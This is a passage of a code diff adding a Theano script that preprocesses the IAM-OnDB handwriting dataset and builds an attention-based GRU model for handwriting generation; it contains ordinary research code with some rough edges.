+        input_file = os.path.join(partial_path, 'lineStrokes-all.tar.gz')
+        raw_data = tarfile.open(input_file)
+        transcript_files = []
+        strokes = []
+        idx = 0
+        for member in raw_data.getmembers():
+            if member.isreg():
+                transcript_files.append(member.name)
+                content = raw_data.extractfile(member)
+                tree = etree.parse(content)
+                root = tree.getroot()
+                content.close()
+                points = []
+                for StrokeSet in root:
+                    for i, Stroke in enumerate(StrokeSet):
+                        for Point in Stroke:
+                            points.append([i,
+                                int(Point.attrib['x']),
+                                int(Point.attrib['y'])])
+                points = np.array(points)
+                points[:, 2] = -points[:, 2]
+                change_stroke = points[:-1, 0] != points[1:, 0]
+                pen_up = points[:, 0] * 0
+                pen_up[:-1][change_stroke] = 1
+                pen_up[-1] = 1
+                points[:, 0] = pen_up
+                strokes.append(points)
+                idx += 1
+
+        strokes_bp = strokes
+
+        strokes = [x[1:] - x[:-1] for x in strokes]
+        strokes = [np.vstack([[0, 0, 0], x]) for x in strokes]
+
+        for i, stroke in enumerate(strokes):
+            strokes[i][:, 0] = strokes_bp[i][:, 0]
+
+        # Computing mean and variance seems to not be necessary.
+        # Training is going slower than just scaling.
+
+        data_mean = np.array([0., 0., 0.])
+        data_std = np.array([1., 20., 20.])
+
+        strokes = [(x - data_mean) / data_std for x in strokes]
+
+        transcript_files = [x.split(os.sep)[-1]
+                            for x in transcript_files]
+        transcript_files = [re.sub('-[0-9][0-9].xml', '.txt', x)
+                            for x in transcript_files]
+
+        counter = Counter(transcript_files)
+
+        input_file = os.path.join(partial_path, 'ascii-all.tar.gz')
+
+        raw_data = tarfile.open(input_file)
+        member = raw_data.getmembers()[10]
+
+        all_transcripts = []
+        for member in raw_data.getmembers():
+            if member.isreg() and member.name.split("/")[-1] in transcript_files:
+                fp = raw_data.extractfile(member)
+
+                cleaned = [t.strip() for t in fp.readlines()
+                        if t != '\r\n'
+                        and t != '\n'
+                        and t != '\r\n'
+                        and t.strip() != '']
+
+                # Try using CSR
+                idx = [n for n, li in enumerate(cleaned) if li == "CSR:"][0]
+                cleaned_sub = cleaned[idx + 1:]
+                corrected_sub = []
+                for li in cleaned_sub:
+                    # Handle edge case with %%%%% meaning new line?
+                    if "%" in li:
+                        li2 = re.sub('\%\%+', '%', li).split("%")
+                        li2 = [l.strip() for l in li2]
+                        corrected_sub.extend(li2)
+                    else:
+                        corrected_sub.append(li)
+
+                if counter[member.name.split("/")[-1]] != len(corrected_sub):
+                    pass
+
+                all_transcripts.extend(corrected_sub)
+
+        # Last file transcripts are almost garbage
+        all_transcripts[-1] = 'A move to stop'
+        all_transcripts.append('garbage')
+        all_transcripts.append('A move to stop')
+        all_transcripts.append('garbage')
+        all_transcripts.append('A move to stop')
+        all_transcripts.append('A move to stop')
+        all_transcripts.append('Marcus Luvki')
+        all_transcripts.append('Hallo Well')
+        # Remove outliers and big / small sequences
+        # Makes a BIG difference.
+        filter_ = [len(x) <= 1200 and len(x) >= 300 and
+                   x.max() <= 100 and x.min() >= -50 for x in strokes]
+
+        strokes = [x for x, cond in zip(strokes, filter_) if cond]
+        all_transcripts = [x for x, cond in
+                           zip(all_transcripts, filter_) if cond]
+
+        num_examples = len(strokes)
+
+        # Shuffle for train/validation/test division
+        rng = np.random.RandomState(1999)
+        shuffle_idx = rng.permutation(num_examples)
+
+        strokes = [strokes[x] for x in shuffle_idx]
+        all_transcripts = [all_transcripts[x] for x in shuffle_idx]
+
+        all_chars = ([chr(ord('a') + i) for i in range(26)] +
+                     [chr(ord('A') + i) for i in range(26)] +
+                     [chr(ord('0') + i) for i in range(10)] +
+                     [',', '.', '!', '?', ';', ' ', ':'] +
+                     ["#", '&', '+', '[', ']', '{', '}'] +
+                     ["/", "*"] +
+                     ['(', ')', '"', "'", '-', '<UNK>'])
+
+        code2char = dict(enumerate(all_chars))
+        char2code = {v: k for k, v in code2char.items()}
+        vocabulary_size = len(char2code.keys())
+        unk_char = '<UNK>'
+
+        y = []
+        for n, li in enumerate(all_transcripts):
+            y.append(tokenize_ind(li, char2code))
+
+        pickle_dict = {}
+        pickle_dict["target_phrases"] = all_transcripts
+        pickle_dict["vocabulary_size"] = vocabulary_size
+        pickle_dict["vocabulary_tokenizer"] = tokenize_ind
+        pickle_dict["vocabulary"] = char2code
+        pickle_dict["data"] = strokes
+        pickle_dict["target"] = y
+        f = open(pickle_path, "wb")
+        pickle.dump(pickle_dict, f, -1)
+        f.close()
+    with open(pickle_path, "rb") as f:
+        pickle_dict = pickle.load(f)
+    return pickle_dict
+
+
+def plot_lines_iamondb_example(X, title="", save_name=None):
+    import matplotlib.pyplot as plt
+    f, ax = plt.subplots()
+    x = np.cumsum(X[:, 1])
+    y = np.cumsum(X[:, 2])
+
+    size_x = x.max() - x.min()
+    size_y = y.max() - y.min()
+
+    f.set_size_inches(5 * size_x / size_y, 5)
+    cuts = np.where(X[:, 0] == 1)[0]
+    start = 0
+
+    for cut_value in cuts:
+        ax.plot(x[start:cut_value], y[start:cut_value],
+                'k-', linewidth=1.5)
+        start = cut_value + 1
+    ax.axis('equal')
+    ax.axes.get_xaxis().set_visible(False)
+    ax.axes.get_yaxis().set_visible(False)
+    ax.set_title(title)
+
+    if save_name is None:
+        plt.show()
+    else:
+        plt.savefig(save_name, bbox_inches='tight', pad_inches=0)
+
+
+def implot(arr, title="", cmap="gray", save_name=None):
+    import matplotlib.pyplot as plt
+    f, ax = plt.subplots()
+    ax.matshow(arr, cmap=cmap)
+    plt.axis("off")
+
+    def autoaspect(x_range, y_range):
+        """
+        The aspect to make a plot square with ax.set_aspect in Matplotlib
+        """
+        mx = max(x_range, y_range)
+        mn = min(x_range, y_range)
+        if x_range <= y_range:
+            return mx / float(mn)
+        else:
+            return mn / float(mx)
+
+    x1 = arr.shape[0]
+    y1 = arr.shape[1]
+    asp = autoaspect(x1, y1)
+    ax.set_aspect(asp)
+    plt.title(title)
+    if save_name is None:
+        plt.show()
+    else:
+        plt.savefig(save_name)
+
+
+def np_zeros(shape):
+    return np.zeros(shape).astype(theano.config.floatX)
+
+
+def np_normal(shape, random_state, scale=0.01):
+    if type(shape[0]) is tuple:
+        shp = (shape[1][0], shape[0][0]) + shape[1][1:]
+    else:
+        shp = shape
+    return (scale * random_state.randn(*shp)).astype(theano.config.floatX)
+
+
+def np_ortho(shape, random_state, scale=1.):
+    if type(shape[0]) is tuple:
+        shp = (shape[1][0], shape[0][0]) + shape[1][1:]
+        flat_shp = (shp[0], np.prd(shp[1:]))
+    else:
+        shp = shape
+        flat_shp = shape
+    g = random_state.randn(*flat_shp)
+    U, S, VT = linalg.svd(g, full_matrices=False)
+    res = U if U.shape == flat_shp else VT  # pick one with the correct shape
+    res = res.reshape(shp)
+    return (scale * res).astype(theano.config.floatX)
+
+
+def as_shared(arr, name=None):
+    """ Quick wrapper for theano.shared """
+    if type(arr) in [float, int]:
+        if name is not None:
+            return theano.shared(np.cast[theano.config.floatX](arr))
+        else:
+            return theano.shared(np.cast[theano.config.floatX](arr), name=name)
+    if name is not None:
+        return theano.shared(value=arr, borrow=True)
+    else:
+        return theano.shared(value=arr, name=name, borrow=True)
+
+
+def apply_shared(list_of_numpy):
+    return [as_shared(arr) for arr in list_of_numpy]
+
+
+def make_weights(in_dim, out_dims, random_state):
+    return apply_shared([np_normal((in_dim, out_dim), random_state)
+                         for out_dim in out_dims])
+
+
+def gru_weights(input_dim, hidden_dim, random_state):
+    shape = (input_dim, hidden_dim)
+    W = np.hstack([np_normal(shape, random_state),
+                   np_normal(shape, random_state),
+                   np_normal(shape, random_state)])
+    b = np_zeros((3 * shape[1],))
+    Wur = np.hstack([np_normal((shape[1], shape[1]), random_state),
+                     np_normal((shape[1], shape[1]), random_state), ])
+    U = np_normal((shape[1], shape[1]), random_state)
+    return W, b, Wur, U
+
+
+class GRU(object):
+    def __init__(self, input_dim, hidden_dim, random_state):
+        self.input_dim = input_dim
+        self.hidden_dim = hidden_dim
+        W, b, Wur, U = gru_weights(input_dim, hidden_dim, random_state)
+        self.Wur = as_shared(Wur)
+        self.U = as_shared(U)
+        self.shape = (input_dim, hidden_dim)
+
+    def get_params(self):
+        return self.Wur, self.U
+
+    def step(self, inp, gate_inp, prev_state):
+        dim = self.shape[1]
+        gates = tensor.nnet.sigmoid(tensor.dot(prev_state, self.Wur) + gate_inp)
+        update = gates[:, :dim]
+        reset = gates[:, dim:]
+        state_reset = prev_state * reset
+        next_state = tensor.tanh(tensor.dot(state_reset, self.U) + inp)
+        next_state = next_state * update + prev_state * (1 - update)
+        return next_state
+
+
+class GRUFork(object):
+    def __init__(self, input_dim, hidden_dim, random_state):
+        self.input_dim = input_dim
+        self.hidden_dim = hidden_dim
+        W, b, Wur, U = gru_weights(input_dim, hidden_dim, random_state)
+        self.W = as_shared(W)
+        self.b = as_shared(b)
+        self.shape = (input_dim, hidden_dim)
+
+    def get_params(self):
+        return self.W, self.b
+
+    def proj(self, inp):
+        dim = self.shape[1]
+        projected = tensor.dot(inp, self.W) + self.b
+        if projected.ndim == 3:
+            d = projected[:, :, :dim]
+            g = projected[:, :, dim:]
+        else:
+            d = projected[:, :dim]
+            g = projected[:, dim:]
+        return d, g
+
+
+def logsumexp(x, axis=None):
+    x_max = tensor.max(x, axis=axis, keepdims=True)
+    z = tensor.log(tensor.sum(tensor.exp(x - x_max),
+                              axis=axis, keepdims=True)) + x_max
+    return z.sum(axis=axis)
+
+
+def bernoulli_and_bivariate_gmm(true, mu, sigma, corr, coeff, binary,
+                                epsilon=1E-5):
+    n_dim = true.ndim
+    shape_t = true.shape
+    true = true.reshape((-1, shape_t[-1]))
+    true = true.dimshuffle(0, 1, 'x')
+
+    mu_1 = mu[:, 0, :]
+    mu_2 = mu[:, 1, :]
+
+    sigma_1 = sigma[:, 0, :]
+    sigma_2 = sigma[:, 1, :]
+
+    binary = (binary + epsilon) * (1 - 2 * epsilon)
+    theano.printing.Print("binary")(binary.shape)
+    theano.printing.Print("true")(true.shape)
+
+    c_b = tensor.sum(tensor.xlogx.xlogy0(true[:, 0],  binary) + tensor.xlogx.xlogy0(
+        1 - true[:, 0], 1 - binary), axis=1)
+
+    inner1 = (0.5 * tensor.log(1. - corr ** 2 + epsilon))
+    inner1 += tensor.log(sigma_1) + tensor.log(sigma_2)
+    inner1 += tensor.log(2. * np.pi)
+
+    t1 = true[:, 1]
+    t2 = true[:, 2]
+    theano.printing.Print("t1")(t1.shape)
+    theano.printing.Print("mu1")(mu_1.shape)
+    theano.printing.Print("sigma1")(sigma_1.shape)
+    Z = (((t1 - mu_1)/sigma_1)**2) + (((t2 - mu_2) / sigma_2)**2)
+    Z -= (2. * (corr * (t1 - mu_1)*(t2 - mu_2)) / (sigma_1 * sigma_2))
+    inner2 = 0.5 * (1. / (1. - corr**2 + epsilon))
+    cost = - (inner1 + (inner2 * Z))
+
+    nll = -logsumexp(tensor.log(coeff) + cost, axis=1)
+    nll -= c_b
+    return nll.reshape(shape_t[:-1], ndim=n_dim-1)
+
+
+def sample_bernoulli_and_bivariate_gmm(mu, sigma, corr, coeff, binary,
+                                       theano_rng, epsilon=1E-5):
+
+    idx = tensor.argmax(theano_rng.multinomial(pvals=coeff, dtype=coeff.dtype),
+                        axis=1)
+
+    mu = mu[tensor.arange(mu.shape[0]), :, idx]
+    sigma = sigma[tensor.arange(sigma.shape[0]), :, idx]
+    corr = corr[tensor.arange(corr.shape[0]), idx]
+
+    mu_x = mu[:, 0]
+    mu_y = mu[:, 1]
+    sigma_x = sigma[:, 0]
+    sigma_y = sigma[:, 1]
+
+    z = theano_rng.normal(size=mu.shape, avg=0., std=1., dtype=mu.dtype)
+
+    un = theano_rng.uniform(size=binary.shape)
+    binary = tensor.cast(un < binary, theano.config.floatX)
+
+    s_x = (mu_x + sigma_x * z[:, 0]).dimshuffle(0, 'x')
+    s_y = mu_y + sigma_y * (
+        (z[:, 0] * corr) + (z[:, 1] * tensor.sqrt(1. - corr ** 2)))
+    s_y = s_y.dimshuffle(0, 'x')
+    s = tensor.concatenate([binary, s_x, s_y], axis=1)
+    return s
+
+
+def gradient_clipping(grads, rescale=5.):
+    grad_norm = tensor.sqrt(sum(map(lambda x: tensor.sqr(x).sum(), grads)))
+    scaling_num = rescale
+    scaling_den = tensor.maximum(rescale, grad_norm)
+    scaling = scaling_num / scaling_den
+    return [g * scaling for g in grads]
+
+
+class adam(object):
+    """
+    Adam optimizer
+
+    Based on implementation from @NewMu / Alex Radford
+    """
+    def __init__(self, params, learning_rate, b1=0.1, b2=0.001, eps=1E-8):
+        self.learning_rate = as_shared(learning_rate)
+        self.b1 = b1
+        self.b2 = b2
+        self.eps = eps
+        self.memory_ = [theano.shared(np.zeros_like(p.get_value()))
+                        for p in params]
+        self.velocity_ = [theano.shared(np.zeros_like(p.get_value()))
+                          for p in params]
+        self.itr_ = theano.shared(np.array(0.).astype(theano.config.floatX))
+
+    def updates(self, params, grads):
+        learning_rate = self.learning_rate
+        b1 = self.b1
+        b2 = self.b2
+        eps = self.eps
+        updates = []
+        itr = self.itr_
+        i_t = itr + 1.
+        fix1 = 1. - (1. - b1) ** i_t
+        fix2 = 1. - (1. - b2) ** i_t
+        lr_t = learning_rate * (tensor.sqrt(fix2) / fix1)
+        for n, (param, grad) in enumerate(zip(params, grads)):
+            memory = self.memory_[n]
+            velocity = self.velocity_[n]
+            m_t = (b1 * grad) + ((1. - b1) * memory)
+            v_t = (b2 * tensor.sqr(grad)) + ((1. - b2) * velocity)
+            g_t = m_t / (tensor.sqrt(v_t) + eps)
+            p_t = param - (lr_t * g_t)
+            updates.append((memory, m_t))
+            updates.append((velocity, v_t))
+            updates.append((param, p_t))
+        updates.append((itr, i_t))
+        return updates
+
+
+def get_shared_variables_from_function(func):
+    shared_variable_indices = [n for n, var in enumerate(func.maker.inputs)
+                               if isinstance(var.variable,
+                                             theano.compile.SharedVariable)]
+    shared_variables = [func.maker.inputs[i].variable
+                        for i in shared_variable_indices]
+    return shared_variables
+
+
+def get_values_from_function(func):
+    return [v.get_value() for v in get_shared_variables_from_function(func)]
+
+
+def safe_zip(*args):
+    """Like zip, but ensures arguments are of same length.
+
+       Borrowed from pylearn2
+    """
+    base = len(args[0])
+    for i, arg in enumerate(args[1:]):
+        if len(arg) != base:
+            raise ValueError("Argument 0 has length %d but argument %d has "
+                             "length %d" % (base, i+1, len(arg)))
+    return zip(*args)
+
+
+def set_shared_variables_in_function(func, list_of_values):
+    # TODO : Add checking that sizes are OK
+    shared_variable_indices = [n for n, var in enumerate(func.maker.inputs)
+                               if isinstance(var.variable,
+                                             theano.compile.SharedVariable)]
+    shared_variables = [func.maker.inputs[i].variable
+                        for i in shared_variable_indices]
+    [s.set_value(v) for s, v in safe_zip(shared_variables, list_of_values)]
+
+
+def save_weights(save_weights_path, items_dict):
+    print("Saving weights to %s" % save_weights_path)
+    weights_dict = {}
+    # k is the function name, v is a theano function
+    for k, v in items_dict.items():
+        if isinstance(v, theano.compile.function_module.Function):
+            # w is all the numpy values from a function
+            w = get_values_from_function(v)
+            for n, w_v in enumerate(w):
+                weights_dict[k + "_%i" % n] = w_v
+    if len(weights_dict.keys()) > 0:
+        np.savez(save_weights_path, **weights_dict)
+    else:
+        print("Possible BUG: no theano functions found in items_dict, "
+              "unable to save weights!")
+
+
+def save_checkpoint(save_path, pickle_item):
+    old_recursion_limit = sys.getrecursionlimit()
+    sys.setrecursionlimit(40000)
+    with open(save_path, mode="wb") as f:
+        pickle.dump(pickle_item, f, protocol=-1)
+    sys.setrecursionlimit(old_recursion_limit)
+
+
+def load_checkpoint(saved_checkpoint_path):
+    old_recursion_limit = sys.getrecursionlimit()
+    sys.setrecursionlimit(40000)
+    with open(saved_checkpoint_path, mode="rb") as f:
+        pickle_item = pickle.load(f)
+    sys.setrecursionlimit(old_recursion_limit)
+    return pickle_item
+
+
+def handwriting_sample(rval, random_state, idx=-1):
+    # mu
+    # sigma
+    # corr
+    # coeff
+    # binary
+    mu, sigma, corr, coeff, binary = rval
+    binary = binary[idx:, 0]
+    coeff = coeff[idx:, :]
+    # Renormalize coeffs
+    eps = 1E-6
+    coeff = (coeff / (coeff.sum(axis=-1, keepdims=True) + eps))
+    mu_x = mu[idx:, 0, :]
+    mu_y = mu[idx:, 1, :]
+    sigma_x = sigma[idx:, 0, :] + eps
+    sigma_y = sigma[idx:, 1, :] + eps
+    corr = corr[idx:, :]
+    z_x = random_state.randn(*mu_x.shape)
+    z_y = random_state.randn(*mu_y.shape)
+    chosen = []
+    for i in range(len(coeff)):
+        chosen.append(np.argmax(random_state.multinomial(1, coeff[i])))
+    chosen = np.array(chosen)
+    s_x = mu_x + sigma_x * z_x
+    s_y = mu_y + sigma_y * ((z_x * corr) + z_y * np.sqrt(1. - corr ** 2))
+    binarized = random_state.binomial(1, binary).ravel()[:, None]
+    s_x = s_x[np.arange(len(s_x)), chosen.ravel()][:, None]
+    s_y = s_y[np.arange(len(s_x)), chosen.ravel()][:, None]
+    return binarized, s_x, s_y, chosen
+
+if __name__ == "__main__":
+    import argparse
+
+    iamondb = fetch_iamondb()
+    X = iamondb["data"]
+    y = iamondb["target"]
+    vocabulary = iamondb["vocabulary"]
+    vocabulary_size = iamondb["vocabulary_size"]
+    X = np.array([x.astype(theano.config.floatX) for x in X])
+    y = np.array([yy.astype(theano.config.floatX) for yy in y])
+
+    minibatch_size = 50
+    n_epochs = 100  # Used way at the bottom in the training loop!
+    cut_len = 300  # Used way at the bottom in the training loop!
+    random_state = np.random.RandomState(1999)
+
+    train_itr = list_iterator([X, y], minibatch_size, axis=1, stop_index=10000,
+                              make_mask=True)
+    valid_itr = list_iterator([X, y], minibatch_size, axis=1, start_index=10000,
+                              make_mask=True)
+
+    X_mb, X_mb_mask, c_mb, c_mb_mask = next(train_itr)
+    train_itr.reset()
+
+    input_dim = X_mb.shape[-1]
+    n_hid = 400
+    att_size = 10
+    n_components = 20
+    n_out = 3
+    n_chars = vocabulary_size
+    n_density = 1 + 6 * n_components
+
+    desc = "Handwriting generation based on Graves' "
+    desc += " Generating Sequences with Recurrent Neural Networks"
+    parser = argparse.ArgumentParser(description=desc)
+    parser.add_argument('-s', '--sample',
+                        help='Sample from a checkpoint file',
+                        default=None,
+                        required=False)
+    parser.add_argument('-p', '--plot',
+                        help='Plot training curves from a checkpoint file',
+                        default=None,
+                        required=False)
+    parser.add_argument('-w', '--write',
+                        help='The string to write out (default first minibatch)',
+                        default=None,
+                        required=False)
+    # http://stackoverflow.com/questions/12116685/how-can-i-require-my-python-scripts-argument-to-be-a-float-between-0-0-1-0-usin
+    def restricted_float(x):
+        x = float(x)
+        if x < 0.0:
+            raise argparse.ArgumentTypeError("%r not range [0.0, inf]" % (x,))
+        return x
+    parser.add_argument('-b', '--bias',
+                        help='Bias parameter as a float',
+                        type=restricted_float,
+                        default=.1,
+                        required=False)
+
+    def restricted_int(x):
+        if x is None:
+            # None makes it "auto" sample
+            return x
+        x = int(x)
+        if x < 1:
+            raise argparse.ArgumentTypeError("%r not range [1, inf]" % (x,))
+        return x
+    parser.add_argument('-sl', '--sample_length',
+                        help='Number of steps to sample, default is automatic',
+                        type=restricted_int,
+                        default=None,
+                        required=False)
+    parser.add_argument('-c', '--continue', dest="cont",
+                        help='Continue training from another saved model',
+                        default=None,
+                        required=False)
+    args = parser.parse_args()
+    if args.plot is not None or args.sample is not None:
+        import matplotlib
+        matplotlib.use('Agg')
+        import matplotlib.pyplot as plt
+        if args.sample is not None:
+            checkpoint_file = args.sample
+        else:
+            checkpoint_file = args.plot
+        if not os.path.exists(checkpoint_file):
+            raise ValueError("Checkpoint file path %s" % checkpoint_file,
+                             " does not exist!")
+        print(checkpoint_file)
+        checkpoint_dict = load_checkpoint(checkpoint_file)
+        train_costs = checkpoint_dict["overall_train_costs"]
+        valid_costs = checkpoint_dict["overall_valid_costs"]
+        plt.plot(train_costs)
+        plt.plot(valid_costs)
+        plt.savefig("costs.png")
+
+        X_mb, X_mb_mask, c_mb, c_mb_mask = next(valid_itr)
+        valid_itr.reset()
+        prev_h1, prev_h2, prev_h3 = [np_zeros((minibatch_size, n_hid))
+                                     for i in range(3)]
+        prev_kappa = np_zeros((minibatch_size, att_size))
+        prev_w = np_zeros((minibatch_size, n_chars))
+        bias = args.bias
+        if args.sample is not None:
+            predict_function = checkpoint_dict["predict_function"]
+            attention_function = checkpoint_dict["attention_function"]
+            sample_function = checkpoint_dict["sample_function"]
+            if args.write is not None:
+                sample_string = args.write
+                print("Sampling using sample string %s" % sample_string)
+                oh = dense_to_one_hot(
+                    np.array([vocabulary[c] for c in sample_string]),
+                    vocabulary_size)
+                c_mb[:len(oh), :, :] = oh[:, None, :]
+                c_mb = c_mb[:len(oh)]
+                c_mb_mask = c_mb_mask[:len(oh)]
+
+            if args.sample_length is None:
+                # Automatic sampling stop as described in Graves' paper
+                # Assume an average of 30 timesteps per char
+                n_steps = 30 * c_mb.shape[0]
+                step_inc = n_steps
+                max_steps = 25000
+                max_steps_buf = max_steps + n_steps
+                completed = [np.zeros((max_steps_buf, 3))
+                             for i in range(c_mb.shape[1])]
+                max_indices = [None] * c_mb.shape[1]
+                completed_indices = set()
+                # hardcoded upper limit
+                while n_steps < max_steps:
+                    rvals = sample_function(c_mb, c_mb_mask, prev_h1, prev_h2,
+                                            prev_h3, prev_kappa, prev_w, bias,
+                                            n_steps)
+                    sampled, h1_s, h2_s, h3_s, k_s, w_s, stop_s, stop_h = rvals
+                    for i in range(c_mb.shape[1]):
+                        max_ind = None
+                        for j in range(len(stop_s)):
+                            if np.all(stop_h[j, i] > stop_s[j, i]):
+                                max_ind = j
+
+                        if max_ind is not None:
+                            completed_indices = completed_indices | set([i])
+                            completed[i][:max_ind] = sampled[:max_ind, i]
+                            max_indices[i] = max_ind
+                    # if most samples meet the criteria call it good
+                    if len(completed_indices) >= .8 * c_mb.shape[1]:
+                        break
+                    n_steps += step_inc
+                print("Completed sampling after %i steps" % n_steps)
+                # cut out garbage
+                completed = [completed[i] for i in completed_indices]
+                cond = c_mb[:, np.array(list(completed_indices))]
+            else:
+                fixed_steps = args.sample_length
+                rvals = sample_function(c_mb, c_mb_mask, prev_h1, prev_h2,
+                                        prev_h3, prev_kappa, prev_w, bias,
+                                        fixed_steps)
+                sampled, h1_s, h2_s, h3_s, k_s, w_s, stop_s, stop_h = rvals
+                completed = [sampled[:, i]
+                             for i in range(sampled.shape[1])]
+                cond = c_mb
+                print("Completed sampling after %i steps" % fixed_steps)
+
+            rlookup = {v: k for k, v in vocabulary.items()}
+            for i in range(len(completed)):
+                ex = completed[i]
+                ex_str = "".join([rlookup[c]
+                                  for c in np.argmax(cond[:, i], axis=1)])
+                s = "lines_%i.png" % i
+                plot_lines_iamondb_example(ex, title=ex_str, save_name=s)
+        valid_itr.reset()
+        print("Plotting complete, exiting...")
+        sys.exit()
+    else:
+        print("No plotting arguments, starting training mode!")
+
+    X_sym = tensor.tensor3("X_sym")
+    X_sym.tag.test_value = X_mb
+    X_mask_sym = tensor.matrix("X_mask_sym")
+    X_mask_sym.tag.test_value = X_mb_mask
+    c_sym = tensor.tensor3("c_sym")
+    c_sym.tag.test_value = c_mb
+    c_mask_sym = tensor.matrix("c_mask_sym")
+    c_mask_sym.tag.test_value = c_mb_mask
+    bias_sym = tensor.scalar("bias_sym")
+    bias_sym.tag.test_value = 0.
+
+    init_h1 = tensor.matrix("init_h1")
+    init_h1.tag.test_value = np_zeros((minibatch_size, n_hid))
+
+    init_h2 = tensor.matrix("init_h2")
+    init_h2.tag.test_value = np_zeros((minibatch_size, n_hid))
+
+    init_h3 = tensor.matrix("init_h3")
+    init_h3.tag.test_value = np_zeros((minibatch_size, n_hid))
+
+    init_kappa = tensor.matrix("init_kappa")
+    init_kappa.tag.test_value = np_zeros((minibatch_size, att_size))
+
+    init_w = tensor.matrix("init_w")
+    init_w.tag.test_value = np_zeros((minibatch_size, n_chars))
+
+    params = []
+
+    cell1 = GRU(input_dim, n_hid, random_state)
+    cell2 = GRU(n_hid, n_hid, random_state)
+    cell3 = GRU(n_hid, n_hid, random_state)
+
+    params += cell1.get_params()
+    params += cell2.get_params()
+    params += cell3.get_params()
+
+    # Use GRU classes only to fork 1 inp to 2 inp:gate pairs
+    inp_to_h1 = GRUFork(input_dim, n_hid, random_state)
+    inp_to_h2 = GRUFork(input_dim, n_hid, random_state)
+    inp_to_h3 = GRUFork(input_dim, n_hid, random_state)
+    att_to_h1 = GRUFork(n_chars, n_hid, random_state)
+    att_to_h2 = GRUFork(n_chars, n_hid, random_state)
+    att_to_h3 = GRUFork(n_chars, n_hid, random_state)
+    h1_to_h2 = GRUFork(n_hid, n_hid, random_state)
+    h1_to_h3 = GRUFork(n_hid, n_hid, random_state)
+    h2_to_h3 = GRUFork(n_hid, n_hid, random_state)
+
+    params += inp_to_h1.get_params()
+    params += inp_to_h2.get_params()
+    params += inp_to_h3.get_params()
+    params += att_to_h1.get_params()
+    params += att_to_h2.get_params()
+    params += att_to_h3.get_params()
+    params += h1_to_h2.get_params()
+    params += h1_to_h3.get_params()
+    params += h2_to_h3.get_params()
+
+    h1_to_att_a, h1_to_att_b, h1_to_att_k = make_weights(n_hid, 3 * [att_size],
+                                                         random_state)
+    h1_to_outs, = make_weights(n_hid, [n_density], random_state)
+    h2_to_outs, = make_weights(n_hid, [n_density], random_state)
+    h3_to_outs, = make_weights(n_hid, [n_density], random_state)
+
+    params += [h1_to_att_a, h1_to_att_b, h1_to_att_k]
+    params += [h1_to_outs, h2_to_outs, h3_to_outs]
+
+    inpt = X_sym[:-1]
+    target = X_sym[1:]
+    mask = X_mask_sym[1:]
+    context = c_sym * c_mask_sym.dimshuffle(0, 1, 'x')
+
+    inp_h1, inpgate_h1 = inp_to_h1.proj(inpt)
+    inp_h2, inpgate_h2 = inp_to_h2.proj(inpt)
+    inp_h3, inpgate_h3 = inp_to_h3.proj(inpt)
+
+    u = tensor.arange(c_sym.shape[0]).dimshuffle('x', 'x', 0)
+    u = tensor.cast(u, theano.config.floatX)
+
+    def calc_phi(k_t, a_t, b_t, u_c):
+        a_t = a_t.dimshuffle(0, 1, 'x')
+        b_t = b_t.dimshuffle(0, 1, 'x')
+        ss1 = (k_t.dimshuffle(0, 1, 'x') - u_c) ** 2
+        ss2 = -b_t * ss1
+        ss3 = a_t * tensor.exp(ss2)
+        ss4 = ss3.sum(axis=1)
+        return ss4
+
+    def step(xinp_h1_t, xgate_h1_t,
+             xinp_h2_t, xgate_h2_t,
+             xinp_h3_t, xgate_h3_t,
+             h1_tm1, h2_tm1, h3_tm1,
+             k_tm1, w_tm1, ctx):
+
+        attinp_h1, attgate_h1 = att_to_h1.proj(w_tm1)
+
+        h1_t = cell1.step(xinp_h1_t + attinp_h1, xgate_h1_t + attgate_h1,
+                          h1_tm1)
+        h1inp_h2, h1gate_h2 = h1_to_h2.proj(h1_t)
+        h1inp_h3, h1gate_h3 = h1_to_h3.proj(h1_t)
+
+        a_t = h1_t.dot(h1_to_att_a)
+        b_t = h1_t.dot(h1_to_att_b)
+        k_t = h1_t.dot(h1_to_att_k)
+
+        a_t = tensor.exp(a_t)
+        b_t = tensor.exp(b_t)
+        k_t = k_tm1 + tensor.exp(k_t)
+
+        ss4 = calc_phi(k_t, a_t, b_t, u)
+        ss5 = ss4.dimshuffle(0, 1, 'x')
+        ss6 = ss5 * ctx.dimshuffle(1, 0, 2)
+        w_t = ss6.sum(axis=1)
+
+        attinp_h2, attgate_h2 = att_to_h2.proj(w_t)
+        attinp_h3, attgate_h3 = att_to_h3.proj(w_t)
+
+        h2_t = cell2.step(xinp_h2_t + h1inp_h2 + attinp_h2,
+                          xgate_h2_t + h1gate_h2 + attgate_h2, h2_tm1)
+
+        h2inp_h3, h2gate_h3 = h2_to_h3.proj(h2_t)
+
+        h3_t = cell3.step(xinp_h3_t + h1inp_h3 + h2inp_h3 + attinp_h3,
+                          xgate_h3_t + h1gate_h3 + h2gate_h3 + attgate_h3,
+                          h3_tm1)
+        return h1_t, h2_t, h3_t, k_t, w_t
+
+    init_x = as_shared(np_zeros((minibatch_size, n_out)))
+    srng = RandomStreams(1999)
+
+    def _slice_outs(outs):
+        k = n_components
+        outs = outs.reshape((-1, n_density))
+        mu = outs[:, 0:2*k].reshape((-1, 2, k))
+        sigma = outs[:, 2*k:4*k].reshape((-1, 2, k))
+        corr = outs[:, 4*k:5*k]
+        coeff = outs[:, 5*k:6*k]
+        binary = outs[:, 6*k:]
+        sigma = tensor.exp(sigma - bias_sym) + 1E-6
+        corr = tensor.tanh(corr)
+        coeff = tensor.nnet.softmax(coeff * (1. + bias_sym)) + 1E-6
+        binary = tensor.nnet.sigmoid(binary * (1. + bias_sym))
+        return mu, sigma, corr, coeff, binary
+
+    # Used to calculate stopping heuristic from sections 5.3
+    u_max = 0. * tensor.arange(c_sym.shape[0]) + c_sym.shape[0]
+    u_max = u_max.dimshuffle('x', 'x', 0)
+    u_max = tensor.cast(u_max, theano.config.floatX)
+
+    def sample_step(x_tm1, h1_tm1, h2_tm1, h3_tm1, k_tm1, w_tm1, ctx):
+        xinp_h1_t, xgate_h1_t = inp_to_h1.proj(x_tm1)
+        xinp_h2_t, xgate_h2_t = inp_to_h2.proj(x_tm1)
+        xinp_h3_t, xgate_h3_t = inp_to_h3.proj(x_tm1)
+
+        attinp_h1, attgate_h1 = att_to_h1.proj(w_tm1)
+
+        h1_t = cell1.step(xinp_h1_t + attinp_h1, xgate_h1_t + attgate_h1,
+                          h1_tm1)
+        h1inp_h2, h1gate_h2 = h1_to_h2.proj(h1_t)
+        h1inp_h3, h1gate_h3 = h1_to_h3.proj(h1_t)
+
+        a_t = h1_t.dot(h1_to_att_a)
+        b_t = h1_t.dot(h1_to_att_b)
